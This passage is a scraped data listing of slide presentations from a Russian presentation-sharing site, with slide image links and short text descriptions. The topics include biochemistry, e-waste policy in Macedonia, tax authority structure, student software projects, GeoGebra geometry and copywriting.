"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img20.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img21.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №22"
}
] |
https://mypresentation.ru/presentation/99658 | Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected] | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img0.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected]"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img1.jpg",
"description": "Откуда я исхожу? The center “Human Being” Game Masters School Saint-Petersburg Breathwork School Shiram Buddist Sangha “Vrata” Intellectual Club"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img2.jpg",
"description": "Наши Цель (Our purpose) Расширение собственного сознания, развитие осознанности, взращивание нового человека в себе и помощь другим Our Awareness development, growing new human being inside and help others in that"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img3.jpg",
"description": "Фундаментальные ВОПРОСЫ мировоззрения Что представляет собой первичная реальность, то есть реальность самой реальности? (Что существует?) 2. Какова природа внешней по отношению к нам реальности? 3. Кто есть человек? 4. Что происходит с человеком после смерти? 5. Каким образом возможно познание? 6. Как мы понимаем что правильно и что не-правильно? 7. Каков смысл человеческой истории?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img4.jpg",
"description": "Какова первичная реальность?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img5.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected], слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img6.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected], слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img7.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected], слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img8.jpg",
"description": "Экзистенциализм"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img9.jpg",
"description": "Атман = Брахман Восточный Пантеистический Монизм"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img10.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected], слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img11.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected], слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img12.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected], слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img13.jpg",
"description": "Принципы ВСЁ – есть часть процесса Правильно не отрывать теорию от практики СверхЗадача и Сквозное Действие Близкие отношения важны для терапии и трансформации"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img14.jpg",
"description": "Размышления о Новом Мировоззрении Татьяна Гинзбург, PhD, [email protected], слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/bc1df3e5567ddae4d71643fed6939cdf/img15.jpg",
"description": "ДА-DZIN"
}
] |
https://mypresentation.ru/presentation/99659 | Што е Е-Отпад? Елена Игнатова Фондација Метаморфозис | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img0.jpg",
"description": "Што е Е-Отпад? Елена Игнатова Фондација Метаморфозис"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img1.jpg",
"description": "Отпад е!"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img2.jpg",
"description": "Што е проблемот? Лош дизајн и агресивен маркетинг од компаниите кои произведуваат електронски и електрични уреди Електронските и електрични уреди содржат многу токсични супстанци, што го прави е-отпадот токсичен Електронските и електрични уреди содржат многу скапоцени и ретки материјали Поголемиот дел од е-отпадот е раководен несоодветно, со што заедниците и животната средна се жртва на токсичниот и лош дизајн"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img3.jpg",
"description": "Како да се справите? Купувајте помалку Донирајте Вратете ги на производителот или рециклирајте"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img4.jpg",
"description": "Балканска мрежа за застапување при управување со е-отпад"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img5.jpg",
"description": "Двегодишен проект инициран и воден од Фондацијата Метаморфозис и кофинансиран од Европската Унија Очекуваните резултати од проектот опфаќаат зајакната соработка на сите заинтересирани страни распространување на добрите практики за управување со е-отпад со примена на стандардите и искуствата од ЕУ, подобрена јавна свест и информираност за управувањето со е-отпад и изградени капацитети на НВО за лобирање и застапување при управување со е-отпад."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img6.jpg",
"description": "Партнери Metamorphosis Foundation (MK) ComputerAid International (UK) ZaMirNet (HR) Protecta (RS) Bozic & sons. (assoc.) BlueLink Foundation (BG)"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img7.jpg",
"description": "Национална мрежа „4х4х4 Балкански Мостови Скопје (Скопје) Вила Зора (Велес) Виножито (Штип) Гоу Грин (Скопје Гринер (Скопје Глобал (Битола) ЕкоНет (Скопје) Еко-свест (Скопје)"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img8.jpg",
"description": "Колку е-отпад има?"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img9.jpg",
"description": "ИКТ опрема во домаќинствата"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img10.jpg",
"description": "Уреди кои не се во употреба, но се уште во домаќинствата"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img11.jpg",
"description": "Отфрлени уреди"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img12.jpg",
"description": "Нацрт Закон за управување со електрична и електронска опрема и отпадна електрична и електронска опрема"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img13.jpg",
"description": "Десет категории на производи големи домашни апарати; мали домашни апарати; опрема за ИТ и телекомуникација; опрема за забавна електроника; опрема за осветлување; електричен и електронски алат (освен големи неподвижнииндустриски орудија); играчки, опрема за слободно време и спорт; медицински апарати (освен апарати кои можат да предизвикаат радијација или инфекција); инструменти за пратење и надзор и автомати."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img14.jpg",
"description": "Обврзници/производители произведува и продава опрема под своја трговска марка, препродава, под своја трговска марка, опрема произведена од страна на друг производител, со тоа што препродавачот не се смета за производител ако марката на изворниот производителот е наведена на опремата, или поради вршење на својата дејност увезува опрема заради пуштање на пазар во Република Македонија или извезува опрема надвор од неа. Ако опремата не е произведена во Република Македонија, тогаш за производител ќе се смета неговиот застапник во Република Македонија. Како производител ќе се смета и правно или физичко кој како краен корисник заради свои потреби увезол опрема без посредник;"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img15.jpg",
"description": "Јавни дебати Нацрт верзија на: www.moepp.gov.mk Јавни дебати: Штип: 25 мај, 12 часот, Општина Скопје: 30 мај, 12 часот, Стопанска комора Охрид: 9 јуни, 13 часот, Општина Дел од проектот „Зајакнување на граѓанското учество во законодавниот процес“ на Националниот демократски институт (НДИ)."
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img16.jpg",
"description": "Поддржете не! Веб-сајт: www.e-otpad.mk Профили на социјални медиуми: Facebook: http://fb.me/bewman Twitter: http://twitter.com/bewman_eu Flickr: http://www.flickr.com/photos/bewman LinkedIn: http://www.linkedin.com/company/ balkan-e-waste-management-advocacy-network YouTube: http://www.youtube.com/user/bewmaneu"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/733296767ec2247707f1e2982adec95e/img17.jpg",
"description": "Ви благодарам Elena Ignatova [email protected] twitter.com/ieli"
}
] |
https://mypresentation.ru/presentation/9965 | Состав и структура налоговых органов __ | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img0.jpg",
"description": "Состав и структура налоговых органов"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img1.jpg",
"description": "Структура налоговых органов Общая информация Термин налоговые органы охватывает только органы МНС(министерство по налогам и сборам) , поскольку есть путаница на практике, когда под налоговыми органами понимают не только МНС, но и иные органы. Так вот, из НК совершенно очевидно, что под налоговыми органами понимаются только органы МНС. Это означает, что налоговая полиция, таможенные органы и органы внебюджетных фондов к налоговым не относятся."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img2.jpg",
"description": "МНС имеет трехзвенную систему."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img3.jpg",
"description": "Принципы построения системы налоговой службы РФ"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img4.jpg",
"description": "Состав и структура налоговых органов __, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img5.jpg",
"description": "Состав и структура налоговых органов __, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img6.jpg",
"description": "Иерархическая структура налоговых органов России"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img7.jpg",
"description": "Состав и структура налоговых органов __, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/3a31ebd15e536a7ccea426ab6ef42125/img8.jpg",
"description": "Спасибо за внимание! Спасибо за внимание!"
}
] |
https://mypresentation.ru/presentation/99660 | Разработка базы для информационной системы брикетировочного цеха завода «Эковер» по утилизации отходов минераловатного произв | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img0.jpg",
"description": "Разработка базы для информационной системы брикетировочного цеха завода «Эковер» по утилизации отходов минераловатного производства Студент: Мт-47053 группы, Воробьёва А.А. Руководитель: Лавров В.В., доцент, к.т.н."
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img1.jpg",
"description": "Цель курсового проекта: разработка информационной системы брикетировочного цеха завода «Эковер» по утилизации отходов минераловатного производства, предназначенной для сбора, обработки, хранения и отображения основных технологических параметров производственной линии брикетировочного цеха завода «Эковер» и формирования отчетной документации."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img2.jpg",
"description": "Задачи реализации информационной системы брикетировочного цеха завода «Эковер»: 1) Описать объект информатизации; 2) Построить архитектуру информационной системы; 2) Выполнить инфологическое/даталогическое моделирование базы данных; 3) реализовать объекты базы данных; - создание таблиц базы данных; - создание хранимых процедур; - создание Web-отчета; 4) создать приложение по сопровождению базы данных; - разработка подсистемы, которая позволит прогнозировать - показатели прочности брикета; - разработка подсистемы формирования отчета; - разработка подсистемы формирования графиков; - разработка руководства пользователя."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img3.jpg",
"description": "1)Утилизация отходов минераловатного производства решает задачи: Измельчения поступающих отходов; Получения равномерного химического состава; Получения прочного брикета."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img4.jpg",
"description": "ОПИСАНИЕ ТЕХНОЛОГИИ ПОЛУЧЕНИЯ СЫРЫХ БРИКЕТОВ Технологическая схема производства сырых брикетов: 1 - дробилка ГМВ-1; 2-дробилка ГМВ-2; 3 - сборный транспортер с магнитной сепарацией: 4 - бегуны; 5 - шнековый транспортер; 6 - элеватор; 7- бункер - накопитель; 8 - бункер для хранения добавок; 9 - сборный траспортер; 10 - шнековый смеситель; 11 - вертикальный смеситель; 12 - расходный бункер пресса; 13-пресс; 14 - грохот; 15 - сушильная камера; 16 - топки; 17 - разгрузка готовых брикетов; 18 –циклон."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img5.jpg",
"description": "Особенности сушки и упрочнения формованных материалов: Технологическая схема производства сухих брикетов: 1 – загрузочное устройство; 2, 3, 4, 5- тепловые камеры; 6 – сетчатый конвейер; 7- подтопок; 8 – камера охлаждения; 9 – вентилятор камеры охлаждения; 10 – циклон; 11 – разгрузочное устройство"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img6.jpg",
"description": "1)Архитектура информационной системы: Архитектура информационной системы основывается на модели “клиент-сервер”. Такая архитектура позволяет осуществить централизованное хранение и обработку данных, а так же обеспечить распределенный доступ к данным и решить ряд задач связанных с администрированием прав доступа к данным. В роли сервера выступает СУБД Microsoft SQL Server 2008 версии R2; Клиентом является программный продукт, разработанный в среде Microsoft Visual Studio 2010."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img7.jpg",
"description": "2) Даталогическое моделирование базы данных:"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img8.jpg",
"description": "3)Объекты базы данных: Реализация хранимой процедуры «dbo.matNaAgrbt_select_data»"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img9.jpg",
"description": "4)Разработка приложения по сопровождению базы данных: Данный программный продукт создавался с ориентацией на двух пользователей: оператор – пользователь, обладающий правами просмотра данных, графиков и ведения отчетности, и технолог (главный инженер) – пользователь, который может вносить изменения в базу данных, тем самым, регулируя процесс производства брикетов."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img10.jpg",
"description": "на форме активна первая вкладка «Поступившее сырьё на агрегат». Прежде чем кнопка вывода данных (обновить) станет активна, пользователю нужно указать параметры выборки данных (дату и агрегат). После того, как это условие выполнится, можно посмотреть запрос на форме активна первая вкладка «Поступившее сырьё на агрегат». Прежде чем кнопка вывода данных (обновить) станет активна, пользователю нужно указать параметры выборки данных (дату и агрегат). После того, как это условие выполнится, можно посмотреть запрос"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img11.jpg",
"description": "Для главного инженера и технолога наиболее интересной является вторая вкладка «Усредненные показатели работы за смену», так как, проанализировав ее, можно дать оценку работы производства Для главного инженера и технолога наиболее интересной является вторая вкладка «Усредненные показатели работы за смену», так как, проанализировав ее, можно дать оценку работы производства"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img12.jpg",
"description": "Статистика Просмотрев график фактических значений температуры в печи полимеризации и ожидаемых (рисунок 3.7), технолог может сделать вывод о том, на сколько прочным получается брикет на конечном этапе производства. Наиболее благоприятной является температура, равная 300 оС. Это обосновывается тем, что именно этой температурой ограничивается процесс полимеризации (это было установлено лабораторным путем). Если температура ниже, то частички исходных материалов недостаточно склеиваются, а если выше, то начинают развиваться процессы плавления. И в том и в другом случае это приведет к снижению прочности, а соответственно и качеству продукта. Аналогичный график зависимости расхода природного газа от даты/времени показывает соответствие технологии производства. Технолог в данном случае смотрит отклонения от нормы показателей расхода. Если они превышены, это говорит о неэкономичности производства. Если наоборот – понижены, то это говорит о не полном использовании ресурсов."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img13.jpg",
"description": "Выводы: Данные о работе агрегатов и датчиков хранятся централизовано на сервере баз данных под управлением MS SQL Server 2008 . Сервер автоматически выполняет обработку данных, а так же предоставляет набор хранимых процедур для работы клиентского приложения. Автоматически обработанные данные сервер помещает в специальную таблицу, содержание которой в последствии необходимо для формирования отчета и представление его в корпоративной сети предприятия. Клиентская часть информационной системы реализована в виде настольного приложения для оператора, технолога (главного инженера) брикетировочного цеха. Программный продукт соответствует всем заданным требованиям, описанным в техническом задании и выполняет главную задачу технолога – контроль прочности получаемого брикета, оператора – ведение отчетности по запрашиваемым параметрам времени и указанием конкретного агрегата или датчика."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/978a3ce577175ef6a72ab4a4ec0f9c8f/img14.jpg",
"description": "Спасибо за внимание!"
}
] |
https://mypresentation.ru/presentation/99661 | ПРОГНОЗИРОВАНИЕ КУРСОВ ВАЛЮТ С ИСПОЛЬЗОВАНИЕМ НЕЙРОСЕТЕВЫХ ТЕХНОЛОГИЙ Студент гр. Мт-47053 А.С.Истомин Руководитель, доцент, к.т.н. | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img0.jpg",
"description": "ПРОГНОЗИРОВАНИЕ КУРСОВ ВАЛЮТ С ИСПОЛЬЗОВАНИЕМ НЕЙРОСЕТЕВЫХ ТЕХНОЛОГИЙ Студент гр. Мт-47053 А.С.Истомин Руководитель, доцент, к.т.н. В.В.Лавров"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img1.jpg",
"description": "Кому это нужно? Дневной оборот рынка акций только в США превышает $10 млрд. Дневной оборот на рынке Forex превышает $1000 млрд. Это примерно 1/50 всего совокупного капитала человечества. 99% всех сделок - спекулятивные"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img2.jpg",
"description": "Можно ли предсказывать рынок? Опыт участников рынка Большинство из участников рынка уверено, что рыночные временные ряды, несмотря на кажущуюся стохастичность, полны скрытых закономерностей, т.е в принципе хотя бы частично предсказуемы. Теория динамического хаоса Хаотические ряды только выглядят случайными, но, как детерминированный динамический процесс, вполне допускают краткосрочное прогнозирование."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img3.jpg",
"description": "Анализ временных рядов Фундаментальный анализ Технический анализ Набор эмпирических правил, основанных на индикаторах поведения рынка. Почему бы не использовать компьютер?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img4.jpg",
"description": "Определение Искусственные нейронные сети (ИНС) — математические модели, а также их программные или аппаратные реализации, построенные по принципу организации и функционирования биологических нейронных сетей — сетей нервных клеток живого организма."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img5.jpg",
"description": "Обучение нейронной сети Нейросети не программируются, они обучаются"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img6.jpg",
"description": "NeuroForecast"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img7.jpg",
"description": "Этапы создания: база данных"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img8.jpg",
"description": "Этапы создания: интерфейс пользователя"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img9.jpg",
"description": "Возможности программного продукта Представление истории валютных курсов в виде таблиц и графиков"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img10.jpg",
"description": "ПРОГНОЗИРОВАНИЕ КУРСОВ ВАЛЮТ С ИСПОЛЬЗОВАНИЕМ НЕЙРОСЕТЕВЫХ ТЕХНОЛОГИЙ Студент гр. Мт-47053 А.С.Истомин Руководитель, доцент, к.т.н. , слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img11.jpg",
"description": "ПРОГНОЗИРОВАНИЕ КУРСОВ ВАЛЮТ С ИСПОЛЬЗОВАНИЕМ НЕЙРОСЕТЕВЫХ ТЕХНОЛОГИЙ Студент гр. Мт-47053 А.С.Истомин Руководитель, доцент, к.т.н. , слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/8f603ec916b8e60f6e0684348389c29a/img12.jpg",
"description": "Результаты исследования Приемлемая точность Согласованность с теорией Время обучения от нескольких секунд до нескольких дней"
}
] |
https://mypresentation.ru/presentation/99662 | Изучување на Елипса и хипербола, криви од втор ред користејќи Геогебра 4 Zoran Trifunov, MS Linda Fahlberg, Stojanovska, PhD University St. Clement of Ohrid, Bitola, R. M | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img0.jpg",
"description": "Изучување на Елипса и хипербола, криви од втор ред користејќи Геогебра 4 Zoran Trifunov, MS Linda Fahlberg, Stojanovska, PhD University St. Clement of Ohrid, Bitola, R. Macedonia"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img1.jpg",
"description": "1. Елипса Kаноничен вид равенка на елипса."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img2.jpg",
"description": "1. Елипса а) Пример на каноничен вид равенка на елипса"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img3.jpg",
"description": "1. Елипса б) Цртање на кривата, со помош на динамичка точка. Изразување y преку x. Во прозорецот за внес се запишува:"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img4.jpg",
"description": "1. Елипса в) Дефиницијата за конструкција на елипса."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img5.jpg",
"description": "1. Елипса г) M=(a*cos(d*/180), b*sin(d*/180))"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img6.jpg",
"description": "1. Елипса Видео"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img7.jpg",
"description": "2. Хипербола Каноничен вид равенка на хипербола."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img8.jpg",
"description": "2. Хипербола а) Пример на каноничен вид равенка на хипербола"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img9.jpg",
"description": "2. Хипербола б) Цртање на кривата, со помош на динамичка точка. Изразување y преку x. Во прозорецот за внес се запишува:"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img10.jpg",
"description": "2. Хипербола в) Дефиницијата за конструкција на хипербола."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img11.jpg",
"description": "2. Хипербола г) Кружници: c(A, t-t) и c'(B,t)."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img12.jpg",
"description": "2. Хипербола Видео Вебинар: http://geogebramkd.wikispaces.com/ГеогебраМКД+-+4+-+Елипса"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/2a15636f32500bebed8a36a22f448f9b/img13.jpg",
"description": "Благодарам"
}
] |
https://mypresentation.ru/presentation/99663 | Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img0.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img1.jpg",
"description": "Креативная контрацепция, или как отличить ваших детей от дельфинов Презентация со вкусом бекона"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img2.jpg",
"description": "О нас. Клиенты Google, Bayer, Campbell’s, Coca-Cola, Sprite, burn, Heineken, Honda, Infiniti, Lipton, Microsoft, Кристалл, ЦентрТелеком, Audi, Castrol, SWIST, Bork, Panasonic и другие, менее известные-именитые клиенты."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img3.jpg",
"description": "О нас. Проекты, стр.1"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img4.jpg",
"description": "О нас. Проекты, стр.2"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img5.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img6.jpg",
"description": "О нас. Проекты, стр.3"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img7.jpg",
"description": "Копирайтинг В началѣ бѣ слово и слово бѣ къ Богу и Бог бѣ слово* *— В начале было Слово, и Слово было у Бога, и Слово было Бог** **—Согласно ч. 11 в ред. Федерального закона от 18.12.2006 № 231-ФЗ, ст. 5, п. 5: В рекламе не допускается использование иностранных слов и выражений, которые могут привести к искажению смысла информации;"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img8.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img9.jpg",
"description": "Копирайтинг Чтобы бы быть хорошим копирайтером, нужно не быть копирайтером. Хорошие копирайтеры создают много хороших слоганов и никогда не создают гениальных слоганов. Плохие копирайтеры создадут один гениальный слоган. Случайно."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img10.jpg",
"description": "Кто такой копирайтер?"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img11.jpg",
"description": "Кто такой копирайтер? Копирайтер — это длинное тире."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img12.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img13.jpg",
"description": "Копирайтер призван помочь человеку выбрать единицу потребления ОСОЗНАНО!"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img14.jpg",
"description": "Копирайтер призван помочь человеку выбрать единицу потребления ОСОЗНАНО! или НЕОСОЗНАНО!"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img15.jpg",
"description": "Копирайтер призван помочь человеку выбрать единицу потребления ОСОЗНАНО! или НЕОСОЗНАНО!, в зависимости от компетентности копирайтера."
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img16.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img17.jpg",
"description": "Копирайтинг-2011 «ты тупой» «я умнее вас» Больше силы из слова! «Вы умнее меня!»"
